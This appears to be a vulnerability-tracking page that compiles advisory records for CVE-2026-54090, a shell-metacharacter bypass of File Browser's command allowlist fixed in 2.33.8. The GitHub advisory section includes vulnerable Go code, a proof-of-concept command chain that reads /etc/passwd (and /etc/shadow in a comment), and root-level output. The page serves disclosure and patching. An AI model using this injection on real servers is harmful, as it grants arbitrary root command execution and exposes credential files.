Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

File Browser: Command Allowlist Bypass via Shell Metacharacter Injection

CVSS 4.0 8.7 HIGHEUVD CVSS 4.0 8.7 CVSS 4.0 · [email protected] · Secondary 8.7 HIGHCVSS_V4 Publisher rating HIGHFixed by github.com/filebrowser/filebrowser/v2 2.33.8osv · severity unknownFixed by github.com/filebrowser/filebrowser/v2 2.33.8KEV status unknown

cve-program · CVE-2026-54090

Published

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.33.8, when a shell interpreter is configured (e.g. /bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and $() all work to chain arbitrary commands after a permitted one. This vulnerability is fixed in 2.33.8.

Read the publisher's advisory

euvd · EUVD-2026-39511

Published

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.33.8, when a shell interpreter is configured (e.g. /bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and $() all work to chain arbitrary commands after a permitted one. This vulnerability is fixed in 2.33.8.

Read the publisher's advisory

nvd · CVE-2026-54090

Published

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.33.8, when a shell interpreter is configured (e.g. /bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and $() all work to chain arbitrary commands after a permitted one. This vulnerability is fixed in 2.33.8.

Read the publisher's advisory

osv · GHSA-8c9q-7855-wfxq

Published

> [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Summary When a shell interpreter is configured (e.g. `/bin/sh -c`), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and `$()` all work to chain arbitrary commands after a permitted one. This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The `slices.Contains` fix does not prevent this bypass. ## Affected Location - `runner/parser.go`, function `ParseCommand` (lines 10-25) - `http/commands.go`, function `commandsHandler` (lines 72-86) ## Root Cause `ParseCommand` extracts the first token via `SplitCommandAndArgs` for the allowlist check, then passes the entire raw input to the shell: ```go func ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) { name, args, err := SplitCommandAndArgs(raw) if len(s.Shell) == 0 || s.Shell[0] == "" { command = append(command, name) command = append(command, args...) } else { command = append(command, s.Shell...) command = append(command, raw) // full user input, metacharacters included } return command, name, nil } ``` In `commandsHandler`: ```go if !slices.Contains(d.user.Commands, name) { // name = "ls", passes // reject } cmd := exec.Command(command[0], command[1:]...) // actually executes: /bin/sh -c "ls; id; cat /etc/shadow" ``` `name` is `ls` — allowed. But `/bin/sh -c` interprets the rest. ## PoC Prerequisites: - Command execution enabled (`--disable-exec=false`) - Shell configured to `/bin/sh -c` - User has Execute permission with an allowlist, e.g. `git,ls,cat` Steps: 1. Log in, grab a JWT: ``` POST /api/login {"username":"admin","password":"..."} ``` 2. Open a WebSocket to `/api/command/` with header `X-Auth: <jwt>`. 3. Send: ``` ls; id; whoami; cat /etc/passwd ``` 4. All four commands execute and output is returned. Sending just `whoami` alone returns "Command not allowed." — the allowlist is active but bypassable. Output: ``` bin etc home ... ===BYPASS=== uid=0(root) gid=0(root) groups=0(root),10(wheel) root root:x:0:0:root:/root:/bin/sh ``` Tested against commit `d236f1c` (frontend v3.0.0) on the official Docker image `filebrowser/filebrowser:latest`. ## Impact Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.

Read the publisher's advisory

osv · GO-2026-5250

Published

File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection in github.com/filebrowser/filebrowser

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-54090

Published

filebrowser

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "filebrowser",
                    "product": "filebrowser",
                    "versions": [
                        {
                            "version": "< 2.33.8",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-39511

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 25, 2026, 5:51:17 PM

dateUpdated: Jun 26, 2026, 3:32:50 PM

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-54090

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-77 · CWE-184

Original publisher date fields

published: 2026-06-25T19:16:40.980

lastModified: 2026-06-26T16:16:32.250

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-8c9q-7855-wfxq

Published

github.com/filebrowser/filebrowser/v2

Go

SEMVER · introduced 0 → fixed 2.33.8

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-5250

Published

github.com/filebrowser/filebrowser

Go

SEMVER · introduced 0

github.com/filebrowser/filebrowser/v2

Go

SEMVER · introduced 0 → fixed 2.33.8

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 24 Nov 11:53 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current